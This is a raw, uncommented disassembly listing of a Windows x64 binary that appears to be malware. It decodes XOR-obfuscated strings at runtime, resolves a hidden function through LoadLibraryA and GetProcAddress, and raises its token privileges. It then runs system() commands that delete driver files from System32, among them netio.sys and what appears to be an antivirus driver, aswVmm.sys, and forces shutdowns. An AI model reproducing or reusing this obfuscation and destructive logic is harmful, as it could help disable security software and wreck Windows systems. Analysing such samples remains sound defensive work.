cmp qword [rbp + 0x2038], 0
je 0x140126401
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x3d0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x3d8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3d0]
vmovdqu xmmword [rbp + 0x3d0], xmm1
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1fb0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1401263e4
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1fb0]
call fcn.14004dd20
nop
mov rcx, rdi
call fcn.14006d590
nop
lea rcx, [rbp + 0x780]
call fcn.14006d590
jmp 0x1401272e7
call fcn.14004dda0
movabs rax, 0xbacc941efb4aa63a
mov qword [rbp + 0xe60], rax
movabs rax, 0xfcd3900a4c12af04
mov qword [rbp + 0xe68], rax
movabs rax, 0x7ed7001a09f9a60a
mov qword [rbp + 0xe70], rax
movabs rax, 0xd37782001c8db609
mov qword [rbp + 0xe78], rax
movabs rax, 0xa6b78c0c0d18af48
mov qword [rbp + 0xe80], rax
movabs rax, 0xfcbd9d4864d58248
mov qword [rbp + 0xe88], rax
movabs rax, 0x7bea2448989da21c
mov qword [rbp + 0xe90], rax
movabs rax, 0xb3674346b723e31a
mov qword [rbp + 0xe98], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xe60]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xe60], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xe70]
vmovdqu xmmword [rbp + 0xe70], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xe80]
vmovdqu xmmword [rbp + 0xe80], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xe90]
vmovdqu xmmword [rbp + 0xe90], xmm1
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x900]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x3e0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x3e0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x20c0]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2148], 0
je 0x140126674
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x3f0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x3f8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x3f0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x3f0], xmm1
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x20c0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140126657
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x20c0]
call fcn.14004dd20
nop
jmp 0x1401268df
call fcn.14004dda0
movabs rax, 0xbccc941efb4aa63a
mov qword [rbp + 0xea0], rax
movabs rax, 0xb99dd7441a58a20c
mov qword [rbp + 0xea8], rax
movabs rax, 0x6796094803edac0e
mov qword [rbp + 0xeb0], rax
movabs rax, 0xd8398c06168ba006
mov qword [rbp + 0xeb8], rax
movabs rax, 0xc9e5c71a0913a207
mov qword [rbp + 0xec0], rax
movabs rax, 0xeeac9c0d729ba706
mov qword [rbp + 0xec8], rax
movabs rax, 0x2ef7280795cfb71a
mov qword [rbp + 0xed0], rax
movabs rax, 0xb3674368f45d8038
mov qword [rbp + 0xed8], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xea0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xea0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xeb0]
vmovdqu xmmword [rbp + 0xeb0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xec0]
vmovdqu xmmword [rbp + 0xec0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xed0]
vmovdqu xmmword [rbp + 0xed0], xmm1
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0x920]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x400]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x400], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x21d0]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2258], 0
je 0x1401268d2
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x410], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x418], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x410]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x410], xmm1
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x21d0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1401268b5
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x21d0]
call fcn.14004dd20
nop
mov rcx, rdi
call fcn.14006d590
nop
mov r8, qword [rbp + 0x798]
cmp r8, 0xf
jbe 0x1401272ce
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x780]
call fcn.14006f520
jmp 0x1401272ce
call fcn.14004dda0
movabs rax, 0xbccc941efb4aa63a
mov qword [rbp + 0xee0], rax
movabs rax, 0xb99dd7441c5da20c
mov qword [rbp + 0xee8], rax
movabs rax, 0x6796094803edac0e
mov qword [rbp + 0xef0], rax
movabs rax, 0xd8398c06168ba006
mov qword [rbp + 0xef8], rax
movabs rax, 0xc9e5c71a0913a207
mov qword [rbp + 0xf00], rax
movabs rax, 0xeeac9c0d729ba706
mov qword [rbp + 0xf08], rax
movabs rax, 0x2ef7280795cfb71a
mov qword [rbp + 0xf10], rax
movabs rax, 0xb3674368f45d8038
mov qword [rbp + 0xf18], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xee0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xee0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xef0]
vmovdqu xmmword [rbp + 0xef0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xf00]
vmovdqu xmmword [rbp + 0xf00], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xf10]
vmovdqu xmmword [rbp + 0xf10], xmm1
lea rdx, [rbp + 0xee0]
lea rcx, [rbp + 0x940]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x420]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x420], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x22e0]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2368], 0
je 0x140126b5d
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x430], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x438], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x430]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x430], xmm1
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x22e0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140126b40
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x22e0]
call fcn.14004dd20
nop
jmp 0x1401268df
call fcn.14004dda0
movabs rax, 0x86cc941efb4aa63a
mov qword [rbp + 0xf20], rax
movabs rax, 0xfcd3b3275819a200
mov qword [rbp + 0xf28], rax
movabs rax, 0x7ed7001a09f9a60a
mov qword [rbp + 0xf30], rax
movabs rax, 0xd37782001c8db609
mov qword [rbp + 0xf38], rax
movabs rax, 0xa6b78c0c0d18af48
mov qword [rbp + 0xf40], rax
movabs rax, 0xfcbd9d4864d58248
mov qword [rbp + 0xf48], rax
movabs rax, 0x7bea2448989da21c
mov qword [rbp + 0xf50], rax
movabs rax, 0xb3674346b723e31a
mov qword [rbp + 0xf58], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xf20]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xf20], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xf30]
vmovdqu xmmword [rbp + 0xf30], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xf40]
vmovdqu xmmword [rbp + 0xf40], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xf50]
vmovdqu xmmword [rbp + 0xf50], xmm1
lea rdx, [rbp + 0xf20]
lea rcx, [rbp + 0x960]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x440]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x440], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x23f0]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2478], 0
je 0x140126dbb
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x450], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x458], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x450]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x450], xmm1
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x23f0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140126d9e
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x23f0]
call fcn.14004dd20
nop
jmp 0x1401268df
call fcn.14004dda0
movabs rax, 0x81cc941cf14ba62c
mov qword [rbp + 0xf60], rax
movabs rax, 0xb99b9e20460ab701
mov qword [rbp + 0xf68], rax
movabs rax, 0x77850a0e03fde344
mov qword [rbp + 0xf70], rax
movabs rax, 0xdd7188060a82af48
mov qword [rbp + 0xf78], rax
movabs rax, 0xeda188070057a406
mov qword [rbp + 0xf80], rax
movabs rax, 0xfdf88b06419bed1a
mov qword [rbp + 0xf88], rax
movabs rax, 0x77a5291a8d9bb00d
mov qword [rbp + 0xf90], rax
movabs rax, 0xb3490038d401b607
mov qword [rbp + 0xf98], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xf60]
vmovdqu xmmword [rbp + 0xf60], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xf70]
vmovdqu xmmword [rbp + 0xf70], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xf80]
vmovdqu xmmword [rbp + 0xf80], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xf90]
vmovdqu xmmword [rbp + 0xf90], xmm1
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x980]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x460]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x460], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x2500]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2588], 0
je 0x140127019
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x470], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x470]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x470], xmm1
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x2500]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140126ffc
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2500]
call fcn.14004dd20
nop
jmp 0x1401268df
call fcn.14004dda0
movabs rax, 0xadcc941cf14ba62c
mov qword [rbp + 0xfa0], rax
movabs rax, 0xbedfdb0f4a0ff75e
mov qword [rbp + 0xfa8], rax
movabs rax, 0x739b450d14f0a50d
mov qword [rbp + 0xfb0], rax
movabs rax, 0x947e85011780ad1d
mov qword [rbp + 0xfb8], rax
movabs rax, 0xa8eb9b0d0816ac04
mov qword [rbp + 0xfc0], rax
movabs rax, 0xfbab8a1a20dfad29
mov qword [rbp + 0xfc8], rax
movabs rax, 0x7cf03211cc9bb109
mov qword [rbp + 0xfd0], rax
movabs rax, 0xb3674368da309348
mov qword [rbp + 0xfd8], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xfa0]
vmovdqu xmmword [rbp + 0xfa0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xfb0]
vmovdqu xmmword [rbp + 0xfb0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xfc0]
vmovdqu xmmword [rbp + 0xfc0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xfd0]
vmovdqu xmmword [rbp + 0xfd0], xmm1
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x9a0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x488], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x480]
vmovdqu xmmword [rbp + 0x480], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x2610]
call fcn.14006cd20
nop
cmp qword [rbp + 0x2698], 0
je 0x140127277
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x490], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x498], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x490]
vmovdqu xmmword [rbp + 0x490], xmm1
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x2610]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14012725a
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140072900
lea rdx, [0x140070280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2610]
call fcn.14004dd20
nop
mov rcx, rdi
call fcn.14006d590
nop
mov rdx, qword [rbp + 0x798]
cmp rdx, 0xf
jbe 0x1401272ce
inc rdx
mov rcx, qword [rbp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401272c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140127ecd
call fcn.14019ebcc
mov qword [rbp + 0x790], r12
mov qword [rbp + 0x798], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x780], 0
vmovsd xmm0, qword [0x1401c2348]
vmovsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1401c2350]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401c2354]
mov word [rbp - 0x34], ax
cmp byte [0x1401c2355], 0
je 0x140127349
mov byte [rbp - 0x40], 0x44
xor byte [rbp - 0x3f], 0x38
xor byte [rbp - 0x3e], 0x39
xor byte [rbp - 0x3d], 0x3a
xor byte [rbp - 0x3c], 0x3b
xor byte [rbp - 0x3b], 0x3c
xor byte [rbp - 0x3a], 0x3d
xor byte [rbp - 0x39], 0x3e
xor byte [rbp - 0x38], 0x3f
xor byte [rbp - 0x37], 0x40
xor byte [rbp - 0x36], 0x41
xor byte [rbp - 0x35], 0x42
xor byte [rbp - 0x34], 0x43
xor byte [rbp - 0x33], 0x44
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xa20]
call fcn.14006d660
mov rdx, rax
lea rcx, [0x1402f0c90]
call fcn.140143c80
call fcn.14004dda0
call fcn.14004dda0
movabs rax, 0xb988df04f843b706
mov qword [rbp + 0x500], rax
movabs rax, 0xdcfff768286bc304
mov qword [rbp + 0x508], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x500]
vmovdqu xmmword [rbp + 0x500], xmm1
lea rcx, [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1401274ed
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x510], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x10]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140127458
lea r8, [rbp + 0x18]
lea rdx, [0x1401c2098]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x10]
test eax, eax
je 0x140127452
mov dword [rbp + 0x510], 1
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x514], rax
mov dword [rbp + 0x51c], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x510]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xa7bc850dc74bb73a
mov qword [rbp + 0xa40], rax
movabs rax, 0x9f8cbe1b5b0ea007
mov qword [rbp + 0xa48], rax
movabs rax, 0x129b040b0febaa1a
mov qword [rbp + 0xa50], rax
mov qword [rbp + 0xa58], rbx
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xa40]
vmovdqu xmmword [rbp + 0xa40], xmm1
vmovdqu xmm2, xmmword [rbp + 0xa50]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xa50], xmm0
lea rdx, [rbp + 0xa40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401274ed
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
lea rcx, str.shutdown_shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004dda0
lea rdx, [0x1401a73d2]
lea rcx, [rbp + 0xa60]
call fcn.14006d660
mov rdx, rax
lea rcx, [0x1402f0c90]
call fcn.14013da00
jmp 0x14012467e
call fcn.14004dda0
movabs rax, 0x82cc941cf14ba62c
mov qword [rbp + 0xfe0], rax
movabs rax, 0xb78d96005b0eb101
mov qword [rbp + 0xfe8], rax
movabs rax, 0x77850a0e03fde344
mov qword [rbp + 0xff0], rax
movabs rax, 0xdd7188060a82af48
mov qword [rbp + 0xff8], rax
movabs rax, 0xeda188070057a406
mov qword [rbp + 0x1000], rax
movabs rax, 0xfdf88b06419bed1a
mov qword [rbp + 0x1008], rax
movabs rax, 0x77a5291a8d9bb00d
mov qword [rbp + 0x1010], rax
movabs rax, 0xb3490038d401b607
mov qword [rbp + 0x1018], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xfe0]
vmovdqu xmmword [rbp + 0xfe0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xff0]
